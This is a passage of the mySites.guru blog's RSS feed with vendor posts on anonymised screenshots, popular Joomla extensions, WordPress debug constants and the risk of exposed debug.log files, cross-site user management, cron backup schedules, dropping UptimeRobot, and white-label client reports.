&lt;p&gt;So we built a way to anonymize all that data right in the browser.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;Append &lt;strong&gt;?anon=1&lt;/strong&gt; to any URL in your mySites.guru account and all site names, URLs, tags, usernames, and avatars are instantly replaced with randomized data.&lt;/p&gt;
&lt;p&gt;Try it: &lt;a href=&quot;https://manage.mysites.guru/en/sites/?anon=1&quot;&gt;https://manage.mysites.guru/en/sites/?anon=1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above, &quot;Ethan Martinez&quot; is a fake name generated on the fly. Every name, URL, and avatar on the page is randomized.&lt;/p&gt;
&lt;p&gt;This works on every page in mySites.guru. If you&apos;re writing a blog post, giving a presentation, or sharing your setup on social media, just add &lt;code&gt;?anon=1&lt;/code&gt; and take your screenshot.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The anonymized data comes from a couple of open-source projects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://randomuser.me/&quot;&gt;randomuser.me&lt;/a&gt; for fake usernames, names, and avatars&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://robohash.org&quot;&gt;robohash.org&lt;/a&gt; for the robot avatar images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you spot one of those little robot faces, now you know why they&apos;re there.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Practical tips like this are part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>tips</category><category>privacy</category><category>screenshots</category><category>site management</category><enclosure url="https://mysites.guru/_astro/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account.B8-_NSj0.png" length="0" type="image/png"/></item><item><title>Top 50 Joomla Extensions in 2026</title><link>https://mysites.guru/blog/top-50-joomla-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/top-50-joomla-extensions/</guid><description>Real-time ranking of the top 50 most-installed Joomla extensions, pulled live from the mySites.guru database of 80,000+ connected sites.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;People are always interested in what other people are using to build their Joomla site. We have the data, so while other sites might blog post about this with static information, we thought we would make this REAL TIME and accessible to all our mySites.guru subscribers, updated with data in real time pulling from our database of over 80,000+ sites&lt;/p&gt;
&lt;p&gt;No Surprises by Akeeba Backup and Joomla Content Editor win hands down.&lt;/p&gt;
&lt;p&gt;Login to your mySites.guru account (Subscribe today if you have not already) and then head on over to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;https://manage.mysites.guru/en/extensions/top/50&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For those that are not customers, here is a sneak preview of the top 10 extensions for Joomla, at the end of November 2019.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to make sure your site is compatible with Joomla 5?&lt;/h2&gt;
&lt;p&gt;Check out the new mySites.guru &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 Technical Requirements Checker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agency-focused guidance on managing Joomla extensions, updates, and client sites, see the &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><enclosure url="https://mysites.guru/_astro/LARGE-IMAGES.d6MP6oca.webp" length="0" type="image/webp"/></item><item><title>WordPress Debug Constants Explained</title><link>https://mysites.guru/blog/understanding-wordpress-debug-constants/</link><guid isPermaLink="true">https://mysites.guru/blog/understanding-wordpress-debug-constants/</guid><description>WP_DEBUG_LOG writes errors to a publicly accessible file that Google has indexed on thousands of sites. Here&apos;s the fix, plus what every debug constant does.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress has a handful of PHP constants that control how errors are reported. They all live in your &lt;code&gt;/wp-config.php&lt;/code&gt; file, and most WordPress developers never touch them. That&apos;s usually fine until something breaks and you have no idea why.&lt;/p&gt;
&lt;p&gt;But one of these constants has a security problem that most people miss entirely.&lt;/p&gt;
&lt;h2&gt;Why is WP_DEBUG_LOG a security risk on live sites?&lt;/h2&gt;
&lt;p&gt;This is the one that catches people out. Setting &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; writes PHP errors to &lt;code&gt;/wp-content/debug.log&lt;/code&gt;, and that file is publicly accessible by default. Anyone who knows the path can read it. Worse, &lt;a href=&quot;https://www.google.com/search?q=allinurl%3Awp-content%2Fdebug.log&quot;&gt;Google has already indexed thousands of them&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;These log files can expose database credentials, file paths, plugin internals, and other details that make an attacker&apos;s job much easier. If your site has &lt;code&gt;WP_DEBUG_LOG&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; in production, fix it now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; pass a custom, hard-to-guess filename instead of &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_LOG&apos;, &apos;myOwnRandomFileName_as8f6safsif.log&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now nobody can guess the URL. The log still works, but it&apos;s not sitting at a predictable path waiting to be found.&lt;/p&gt;
&lt;p&gt;If you&apos;re worried that your debug log has already been exposed, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;run a suspect content scan&lt;/a&gt; to check for any signs of compromise.&lt;/p&gt;
&lt;h2&gt;The WordPress debug constants&lt;/h2&gt;
&lt;p&gt;Here&apos;s what each one does and when to use it. The official docs are at &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/&quot;&gt;WordPress.org&apos;s Advanced Administration Handbook&lt;/a&gt; if you want the full reference.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG&lt;/h2&gt;
&lt;p&gt;The main switch. Set it to &lt;code&gt;true&lt;/code&gt; and WordPress will show PHP errors, notices, and warnings on screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Leave this on in development, turn it off in production. Simple.&lt;/p&gt;
&lt;h2&gt;WP_DEBUG_LOG&lt;/h2&gt;
&lt;p&gt;As covered above, this writes errors to a log file instead of printing them on screen. Useful for production sites where you don&apos;t want visitors seeing PHP warnings, but &lt;strong&gt;never set it to &lt;code&gt;true&lt;/code&gt;&lt;/strong&gt; on a live site. Always use a custom filename.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_LOG&apos;, &apos;myOwnRandomFileName_as8f6safsif.log&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WP_DEBUG_DISPLAY&lt;/h2&gt;
&lt;p&gt;Controls whether errors show on screen. Set to &lt;code&gt;false&lt;/code&gt; on live sites so errors get logged but visitors don&apos;t see them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;WP_DEBUG_DISPLAY&apos;, false );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SCRIPT_DEBUG&lt;/h2&gt;
&lt;p&gt;Forces WordPress to load the full, unminified versions of its CSS and JS files instead of the minified ones. Handy when you&apos;re debugging front-end issues and need to actually read the source.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;SCRIPT_DEBUG&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SAVEQUERIES&lt;/h2&gt;
&lt;p&gt;Stores every database query in &lt;code&gt;$wpdb-&amp;gt;queries&lt;/code&gt; so you can inspect them. Good for tracking down slow queries, but leave it off in production because it adds overhead.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;SAVEQUERIES&apos;, true );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checking WordPress debug constants across all your sites&lt;/h2&gt;
&lt;p&gt;Manually checking &lt;code&gt;wp-config.php&lt;/code&gt; on every site gets old fast. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru snapshot&lt;/a&gt; reads your WordPress config and &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;flags anything that doesn&apos;t match best practice&lt;/a&gt;. Most settings have &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;one-click toggles&lt;/a&gt; so you can fix them without editing files. The same one-click approach works for other WordPress configuration checks, like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabling automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up leftover default content&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also view any single constant across all your connected sites at once using the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt;. Click through any &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; to see that value on every site in one view.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;For a broader look at hardening your WordPress and Joomla installations, see the &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Need someone to fix it for you?&lt;/h2&gt;
&lt;p&gt;If debugging isn&apos;t your thing, or you&apos;d rather not deal with it, we offer set-fee site fixes at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;&lt;/strong&gt;. No hourly billing, no surprises.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you try mySites.guru free for a month?&lt;/h2&gt;
&lt;p&gt;We haven&apos;t raised &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;our prices&lt;/a&gt; since 2012. But if you want to see the toolset for yourself first, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;use mySites.guru free for a whole month&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>debugging</category><category>php</category><category>security</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-4.CmCw9zU0.webp" length="0" type="image/webp"/></item><item><title>Universal User Management Across Sites</title><link>https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/</guid><description>Search, edit, and reset passwords for users across all your Joomla and WordPress sites from one page. Manage roles, revoke access, and save hours.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru lets you manage all your users, across all your sites, from a single page. Change email addresses, reset passwords, assign roles and permissions, block accounts. No logging into each site individually.&lt;/p&gt;
&lt;p&gt;This is part of the &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;mySites.guru&lt;/a&gt; dashboard, which covers unlimited Joomla, WordPress, and PHP sites for &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 per month&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The idea behind Universal User Management&lt;/h2&gt;
&lt;h3&gt;Password resets without the runaround&lt;/h3&gt;
&lt;p&gt;Your client calls to say they&apos;ve forgotten their password. Before mySites.guru, you&apos;d have to go to their website, remember your own credentials, log in, find their user account, reset the password, and relay the new one back to them.&lt;/p&gt;
&lt;p&gt;With Universal User Management, you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to &lt;a href=&quot;https://manage.mysites.guru/en/universal_user_management/&quot;&gt;Universal User Management&lt;/a&gt; (find it in the left menu, or press Shift twice to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Search by name or email address&lt;/li&gt;
&lt;li&gt;Click edit next to their user account&lt;/li&gt;
&lt;li&gt;Change the password&lt;/li&gt;
&lt;li&gt;Save - done&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Step 1: Search&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;Step 2: Select one or more user accounts found across your sites, or click edit to update a specific user&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;💡 That&apos;s it - password reset done in seconds, not minutes.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Revoking access for a departing team member&lt;/h3&gt;
&lt;p&gt;A staff member leaves your agency, maybe on bad terms, and you need to find every client site they have access to. Search their name or email address and you get back a list of every site where they have an account. Reset the password or block them across all of those sites at once.&lt;/p&gt;
&lt;h3&gt;Bulk name changes&lt;/h3&gt;
&lt;p&gt;A user gets married and wants their new surname updated across all their accounts. Universal User Management handles that across hundreds of sites in one go.&lt;/p&gt;
&lt;h3&gt;Role and permission changes&lt;/h3&gt;
&lt;p&gt;Need to change someone from editor to administrator across all their sites? Search, edit, save. Same process works in reverse if you need to downgrade permissions.&lt;/p&gt;
&lt;h3&gt;Searching for suspicious accounts&lt;/h3&gt;
&lt;p&gt;Investigating a compromised account? Search all users on all sites by name, email address, or email domain to track down suspicious or unauthorized accounts.&lt;/p&gt;
&lt;h3&gt;Got a different use case?&lt;/h3&gt;
&lt;p&gt;There are plenty more situations where searching and editing users across sites comes in handy. If you&apos;ve got one we haven&apos;t thought of, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;let us know&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The full list of features&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Search users across all connected sites by name or email&lt;/li&gt;
&lt;li&gt;Edit email addresses, passwords, names, and roles&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;Log in as any user on any site&lt;/a&gt; using mySites.guru AutoLogin&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;On the roadmap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Block a user across sites (WordPress has no built-in concept of blocking, so this needs custom handling)&lt;/li&gt;
&lt;li&gt;Remove two-factor authentication from a Joomla user&lt;/li&gt;
&lt;li&gt;Retrieve 2FA backup codes from a Joomla user so you can give your client a one-time login to re-enable it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Managing your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team&apos;s access&lt;/a&gt; to mySites.guru itself is handled separately through the team management feature.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>user management</category><category>site management</category><category>agency tools</category><enclosure url="https://mysites.guru/_astro/Manage-Your-Joomla-Extensions.nYtk9sfG.webp" length="0" type="image/webp"/></item><item><title>Unlimited Backup Schedules With Cron Syntax</title><link>https://mysites.guru/blog/unlimited-backup-schedules/</link><guid isPermaLink="true">https://mysites.guru/blog/unlimited-backup-schedules/</guid><description>Create unlimited backup schedules in mySites.guru using cron syntax. Assign different Akeeba Backup profiles per schedule.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;mySites.guru lets you create &lt;strong&gt;unlimited backup schedules&lt;/strong&gt;, each defined with a cron expression. You pick the timing, the frequency, and which Akeeba Backup profile to use - per schedule.&lt;/p&gt;
&lt;h2&gt;Example schedules&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily morning&lt;/strong&gt; - back up using the &quot;Default Backup Profile&quot; and save on the server every morning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nightly FTP&lt;/strong&gt; - send a backup to FTP every evening&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly offsite&lt;/strong&gt; - send a backup to Amazon Glacier once a week on Tuesday&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Cron expression syntax&lt;/h2&gt;
&lt;p&gt;Cron syntax is a standard way of defining when a scheduled event should run. If you&apos;ve ever configured a server, you&apos;ve probably seen it.&lt;/p&gt;
&lt;p&gt;If you want a deep dive, see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cron#CRON_expression&quot;&gt;Wikipedia article on cron expressions&lt;/a&gt; - but most agencies using mySites.guru will already be familiar with cron.&lt;/p&gt;
&lt;p&gt;Cron has 5 segments: &lt;code&gt;* * * * *&lt;/code&gt; (a star means &quot;every&quot;). So &lt;code&gt;* * * * *&lt;/code&gt; means every minute of every day - probably not what you want for backups.&lt;/p&gt;
&lt;p&gt;You can adjust the syntax for granular control. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Daily at 09:15 UTC&lt;/strong&gt; - &lt;code&gt;15 9 * * *&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weekly on Tuesday at 12:34 UTC&lt;/strong&gt; - &lt;code&gt;34 12 * * 2&lt;/code&gt; (the &lt;code&gt;2&lt;/code&gt; represents Tuesday, where 0 = Sunday)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monthly on the 26th at 04:36 UTC&lt;/strong&gt; - &lt;code&gt;36 4 26 * *&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you use different backup profiles per schedule?&lt;/h2&gt;
&lt;p&gt;You can specify a different Akeeba Backup profile for each schedule. This means you can run a daily on-server backup, a weekly off-server backup, and a monthly Amazon S3 backup - all at the same time.&lt;/p&gt;
&lt;p&gt;If you&apos;re already using &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; Professional, this is where those extra profiles actually become useful.&lt;/p&gt;
&lt;h2&gt;Powered by Akeeba Backup&lt;/h2&gt;
&lt;p&gt;Akeeba Backup Professional is the backup solution we&apos;ve integrated with since day one. We use their API directly and recommend their tools to every customer.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;💡 Recommendation&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;If you&apos;re new to Joomla or WordPress and need a solid backup solution, pick up a subscription to Akeeba Backup Professional - and grab Admin Tools Professional while you&apos;re there.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;mySites.guru also supports the &lt;strong&gt;All-in-One WP Migration&lt;/strong&gt; backup plugin for WordPress.&lt;/p&gt;
&lt;h2&gt;How Often Should You Back Up?&lt;/h2&gt;
&lt;p&gt;When we migrated existing backup schedules to cron syntax, here&apos;s what we saw across our user base:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Take a backup before any major changes, and set a frequency that matches your risk appetite. The gap between your backups is the amount of data you stand to lose - keep that gap as small as practical.&lt;/p&gt;
&lt;h2&gt;Where should you store your backups?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Don&apos;t store backups on the same server as your website.&lt;/strong&gt; A single datacenter fire or server compromise could wipe out both your site and its backups in one go.&lt;/p&gt;
&lt;p&gt;Akeeba Backup Professional supports Amazon S3, FTP, Google Drive, and other remote storage services. Most of them cost almost nothing.&lt;/p&gt;
&lt;p&gt;For a broader look at &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduling backups, audits, and updates&lt;/a&gt;, see our dedicated scheduling guide.&lt;/p&gt;
&lt;h2&gt;What about existing schedules?&lt;/h2&gt;
&lt;p&gt;If you had backup schedules configured before the switch to cron syntax, those were automatically migrated. We took your selected profile number and daily/weekly/monthly setting, looked at the date of your last backup, and generated an equivalent cron expression.&lt;/p&gt;
&lt;p&gt;For a complete guide on fitting backups into your update and maintenance workflow, see &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>backups</category><category>akeeba</category><category>scheduling</category><category>cron</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-17.QC-ZTlMJ.webp" length="0" type="image/webp"/></item><item><title>mySites.guru No Longer Provides UptimeRobot Status Pages</title><link>https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</link><guid isPermaLink="true">https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/</guid><description>mySites.guru replaced UptimeRobot with its own uptime monitoring engine after UptimeRobot raised fees by 352%. Here&apos;s what changed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru no longer integrates with &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot.com&lt;/a&gt; for uptime monitoring or status pages.&lt;/p&gt;
&lt;p&gt;We &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built our own monitoring engine&lt;/a&gt; instead. It&apos;s part of the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Ultimate Toolset&lt;/a&gt; included with every mySites.guru subscription, no extra cost.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Why we stopped using UptimeRobot&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;mySites.guru used UptimeRobot for uptime monitoring from 2012 until August 2021. After UptimeRobot was acquired by itrinity in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days&apos; notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The engine checks every connected site once per minute and runs three separate checks before firing an alert, so you&apos;re not getting woken up over a false positive.&lt;/p&gt;
&lt;p&gt;If you&apos;re wondering why you&apos;re getting downtime alerts, we wrote a separate guide on &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;how the alerts work and what they mean&lt;/a&gt;. For a complete look at monitoring strategy for agencies, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>uptimerobot</category><category>status pages</category><enclosure url="https://mysites.guru/_astro/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers.DWSDrxq_.png" length="0" type="image/png"/></item><item><title>White-Label Activity Reports for Clients</title><link>https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/</guid><description>Send automated, branded site activity reports to your clients on any schedule. Covers updates, backups, audits, uptime and more - included in every plan.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If you manage Joomla or WordPress sites for clients, reporting is one of those tasks that either eats your time or doesn&apos;t happen at all. mySites.guru&apos;s white-label reports solve both problems: they generate automatically on whatever schedule you set and email directly to your clients from your own address.&lt;/p&gt;
&lt;h2&gt;Automated reports, on your schedule&lt;/h2&gt;
&lt;p&gt;One of the things that sets mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; apart is that you configure them once and forget about them. You can create &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited report schedules&lt;/a&gt;, each running on its own cron - daily, weekly, monthly, whatever you need - and have them emailed to as many people as you want, including your clients directly.&lt;/p&gt;
&lt;p&gt;The report period is flexible too. A few examples:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monthly client report&lt;/strong&gt; - Send your client an email from your own address on the 7th of every month at 1am, with a report covering just their 2 sites plus any sites tagged &quot;client-name&quot;, excluding version numbers, with your logo in the header. It runs every month until you cancel it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Weekly overview for yourself&lt;/strong&gt; - Send yourself a summary every Sunday of all available updates across every site in your account, using the default template.&lt;/p&gt;
&lt;h2&gt;Flexible site selection&lt;/h2&gt;
&lt;p&gt;Some reporting tools only let you pick individual sites or a single tag. mySites.guru lets you combine both. Select 3 specific sites and 6 tags - the report includes those 3 sites plus every site matching any of those tags. If a site appears through multiple selections, it gets deduplicated automatically.&lt;/p&gt;
&lt;p&gt;You can use a tag per client, select individual sites per report, or mix and match however your workflow demands.&lt;/p&gt;
&lt;h2&gt;Unlimited, configurable reports&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Create as many report configurations as you need. Each one lets you set:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Report name&lt;/strong&gt; (used as the email subject line)&lt;/li&gt;
